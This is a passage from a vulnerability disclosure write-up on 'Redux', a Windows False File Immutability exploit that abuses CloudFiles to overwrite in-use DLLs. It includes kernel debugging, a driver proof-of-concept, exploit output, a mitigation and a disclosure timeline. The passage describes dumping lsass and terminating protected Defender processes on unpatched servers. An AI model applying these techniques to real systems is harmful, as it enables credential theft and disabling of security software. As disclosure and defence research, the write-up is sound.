14 000000dc`e7bff510 00007ffe`94f36059 cldapi!CfpExecuteTransferData+0x103
15 000000dc`e7bff690 00007ff7`ac9216e0 cldapi!CfExecute+0x349
16 000000dc`e7bff730 00000029`8969cee4 PPLFault!FetchDataCallback+0x4b0 [C:\git\PPLFault\PPLFault\PPLFault.cpp @ 176]
Let’s see what kind of access was granted to the handle (~= FILE_OBJECT) which resides in the second parameter to FltWriteFileEx. On x64, this is rdx.
0: kd> dt _FILE_OBJECT @rdx ReadAccess WriteAccess DeleteAccess SharedRead SharedWrite SharedDelete Flags
ntdll!_FILE_OBJECT
+0x04a ReadAccess : 0 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x4000a
0: kd> !fileobj @rdx
Device Object: 0xffffa909953848f0 \Driver\volmgr
Vpb: 0xffffa90995352ee0
Event signalled
Access: SharedDelete
Flags: 0x4000a
Synchronous IO
No Intermediate Buffering
Handle Created
FsContext: 0xffffcf04ac4c6170 FsContext2: 0xffffcf04a7d1cad0
CurrentByteOffset: 0
Cache Data:
Section Object Pointers: ffffa90999f44378
Shared Cache Map: 00000000
File object extension is at ffffa9099a4c5f40:
Flags: 00000001
Ignore share access checks.
We can see the file wasn’t opened for write access, and “Ignore share access checks” sounds a lot like IO_IGNORE_SHARE_ACCESS_CHECK. Let’s sanity-check the ByteOffset and Length parameters, which are the third and fourth parameters to FltWriteFileEx, stored in r8 and r9 respectively.
0: kd> dx ((PLARGE_INTEGER)@r8)->QuadPart
((PLARGE_INTEGER)@r8)->QuadPart : 0 [Type: __int64]
0: kd> dx (int)@r9
(int)@r9 : 90112 [Type: int]
A write of 90,112 bytes at offset 0 - that lines up with the ProcMon output. What about Flags, the 6th parameter?
0: kd> dx *(PULONG)(@rsp+(8*6))
*(PULONG)(@rsp+(8*6)) : 0xa [Type: unsigned long]
0xA is 0x2 | 0x8, which is FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING. This lines up with “Paging I/O, Synchronous Paging I/O” we saw in ProcMon.
Let’s see if we can reproduce this in a driver. We’re going to open a locally-mapped DLL like we did in ExperimentTwo, but instead of asking for FILE_WRITE_DATA, we’re going to stick to the same permissions as CloudFiles: SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES. This won’t trip the MmFlushImageSection check which looks for FILE_WRITE_DATA, but we’ll throw in IO_IGNORE_SHARE_ACCESS_CHECK anyway to more closely replicate CloudFiles’ behavior. Next, we’ll use FltWriteFileEx to perform a synchronous paging write to the non-writable FILE_OBJECT.
We’re omitting some helper code for brevity. All the example code in this article is available on our GitHub.
VOID ExperimentFour()
{
DECLARE_CONST_UNICODE_STRING(filePath,
L"\\SystemRoot\\System32\\TestDll.dll");
NTSTATUS ntStatus = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
HANDLE hFile2 = NULL;
OBJECT_ATTRIBUTES fileObjAttr{};
IO_STATUS_BLOCK iosb{};
BOOLEAN bSuccessful = FALSE;
BOOLEAN bReportResults = FALSE;
PVOID pMappedBase = NULL;
PFILE_OBJECT pFileObject = NULL;
PFLT_INSTANCE pInstance = NULL;
PFLT_VOLUME pVolume = NULL;
LARGE_INTEGER byteOffset{};
ULONG bytesWritten = 0;
ntStatus = MapFileAsImageSection(
&filePath, &hFile, &hSection, &pMappedBase);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
&filePath, ntStatus);
goto Cleanup;
}
// Find our own minifilter instance for the volume containing this file
// We'll need it later
ntStatus = GetMyInstanceForFile(hFile, &pVolume, &pInstance);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: GetMyInstanceForFile failed with NTSTATUS 0x%08x\n",
ntStatus);
goto Cleanup;
}
// Now that a view of the SEC_IMAGE mapping exists,
// close the file and section handles because that's what ntdll does
// https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
HandleDelete(hFile);
HandleDelete(hSection);
InitializeObjectAttributes(&fileObjAttr,
(PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Open the file without FILE_WRITE_DATA
// cldflt.sys!HsmiOpenFile uses this instead of IoCreateFileEx
ntStatus = FltCreateFileEx2(
gpFilter,
NULL,
&hFile2,
&pFileObject,
SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES,
&fileObjAttr, &iosb, NULL, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT |
FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
NULL, 0,
IO_IGNORE_SHARE_ACCESS_CHECK,
NULL);
if (!NT_SUCCESS(ntStatus))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour: IoCreateFileEx failed with NTSTATUS 0x%08x\n",
ntStatus);
goto Cleanup;
}
// cldflt.sys is using FltWriteFileEx with synchronous paging I/O
ntStatus = FltWriteFileEx(
pInstance, pFileObject, &byteOffset,
sizeof(gZeroBuf), gZeroBuf,
FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING,
&bytesWritten, NULL, NULL, NULL, NULL);
// If FltWriteFileEx returns success without us passing FILE_WRITE_DATA,
// then we have succeeded
bSuccessful = NT_SUCCESS(ntStatus) && (sizeof(gZeroBuf) == bytesWritten);
bReportResults = TRUE;
Cleanup:
if (bReportResults)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
"ExperimentFour complete. "
"FltWriteFileEx %s be used to write to a non-writable FILE_OBJECT "
"Status: 0x%08x\n",
bSuccessful ? "CAN" : "CANNOT",
ntStatus);
}
HandleDelete(hFile);
HandleDelete(hSection);
HandleDelete(hFile2);
if (pMappedBase)
{
NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
NT_ASSERT(NT_SUCCESS(unmapStatus));
}
ReferenceDelete(pFileObject);
if (pInstance) FltObjectDereference(pInstance);
if (pVolume) FltObjectDereference(pVolume);
}
This experiment yields the following output:
ExperimentFour complete. FltWriteFileEx CAN be used to write to a non-writable FILE_OBJECT Status: 0x00000000
This proves that FltWriteFileEx can be used to break several rules. There’s a key difference between PPLFault and this experiment: The experiment succeeded without any network redirectors, proving that CloudFiles alone can modify in-use executables, regardless of whether they are mapped locally or via SMB. More abstractly, it proves that FFI exploitation via CloudFiles may be possible without network redirectors.
A new exploit
Microsoft’s PPLFault mitigation specifically targets executables loaded over network redirectors. Can we apply what we’ve discovered here to achieve the same effect sans network redirector?
When CI requests the DLL for signature verification, PPLFault uses CfExecute to write to (rehydrate) the placeholder from its fetch data callback. Once the original file has been served up for signature verification, it switches over to the payload, calling CfExecute a second time during the same callback to overwrite a portion of the file with a payload. Tweaking PPLFault to have the victim load the DLL locally instead of over loopback SMB, the second call to CfExecute fails with “The cloud operation was canceled by user.” We needed another approach.
C:\Users\user\Desktop>PPLFault.exe 760 services.dmp
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[!] CfExecute #2 failed with HR 0x8007018e: The cloud operation was canceled by user.
[!] Did not find expected dump file: services.dmp
After some reverse engineering, we learned that the failure was due to checks within CloudFilter itself, not from its interactions with the I/O manager or filesystem. We discovered that calling CfDehydratePlaceholder then calling CfHydratePlaceholder from a different thread (outside of the rehydration callback) would reset the state of our file inside the CloudFilter driver, causing it to re-invoke our our rehydration callback. This allowed us to overwrite the in-use DLL with our payload and achieve arbitrary code execution as WinTcb-Light. This small code change resurrected PPLFault, so we named the variant Redux.
We similarly resurrected GodFault, leveraging our highly-privileged PPL access to compromise kernel memory and bypass Windows Defender’s process protections, terminating a normally-unkillable process.
You can find our PoCs for Redux and GodFault-Redux on GitHub.
The video below shows the following on fully-updated Windows Server 2022 (February 2026 version 20348.4773).
- PPLFault failing to dump
lsass - Redux successfully dumping
lsass - An administrator failing to terminate
MsMpEng.exebecause it is PPL - GodFault-Redux successfully terminating
MsMpEng.exe
Mitigação
In our report to MSRC, we provided a filesystem minifilter that mitigates Redux by blocking IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION operations meeting all of the following criteria:
- The requestor is a PPL.
- The requestor's
PreviousModeisUserMode. - The page protection is executable (e.g.
PAGE_EXECUTE_READ) or the allocation attributes containSEC_IMAGE. - The file has a Cloud Filter reparse tag such as
IO_REPARSE_TAG_CLOUD.
A mitigation is built into Elastic Defend versions 8.14 and newer. If your fleet runs any affected operating systems, you can set the following in Defend Advanced Policy to enable it.
windows.advanced.flags: e931849d52535955fcaa3847dd17947b
With this mitigation in place, the exploit is blocked:
C:\Users\user\Desktop>Redux 624 services.dmp
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[!] SpawnPPL: WaitForSingleObject returned 258. Expected WAIT_OBJECT_0. GLE: 2
[!] Did not find expected dump file: services.dmp
Simultaneously, Windows displays a popup with the STATUS_ACCESS_DENIED (0xC0000022) status code.
You can find our PoC for the mitigation on GitHub.
Disclosure and Remediation
The disclosure timeline is as follows:
- 2024-02-14 We reported Redux to MSRC.
- 2024-02-29 The Windows Defender team reached out to coordinate disclosure.
- 2024-10-01 Windows 11 24H2 reached GA with the mitigation.
When we disclosed Redux to MSRC, it was functional against fully-patched versions of Windows 11, but not against the experimental Insider Canary build 25936. While discussing the issue with the Windows Defender team, we learned that (now former) Microsoft Senior Security Researcher Philip Tsukerman had discovered it while looking for variants of PPLFault, with the fix still in pre-release testing.
The table below shows affected and fixed versions of Windows as of the date of publication.
| Operating System | Lifecycle | Fix Status |
|---|---|---|
| Windows 11 24H2 | Mainstream Support | ✔ Fixed |
| Windows 10 Enterprise LTSC 2021 | Mainstream Support | ❌ Still functional as of February 2026 (19044.6937) |
| Windows Server 2025 | Mainstream Support | ✔ Fixed |
| Windows Server 2022 | Mainstream Support | ❌ Still functional as of February 2026 (20348.4773) |
| Windows Server 2019 | Extended Support | ❌ Still functional as of February 2026 (17763.8389) |
Conclusão
In 2024, we disclosed a new Windows vulnerability class, False File Immutability (FFI), demonstrating it with the release of two distinct kernel exploits: PPLFault and ItsNotASecurityBoundary. Both exploits leverage network redirectors to exploit design flaws in Windows Code Integrity. In this research, we showcased and released another exploit which demonstrates how to exploit FFI without network redirectors. We believe that this was the third FFI exploit when it was reported in February 2024; there have since been at least two more.
Redux is not the end of FFI; there are more exploitable FFI vulnerabilities.
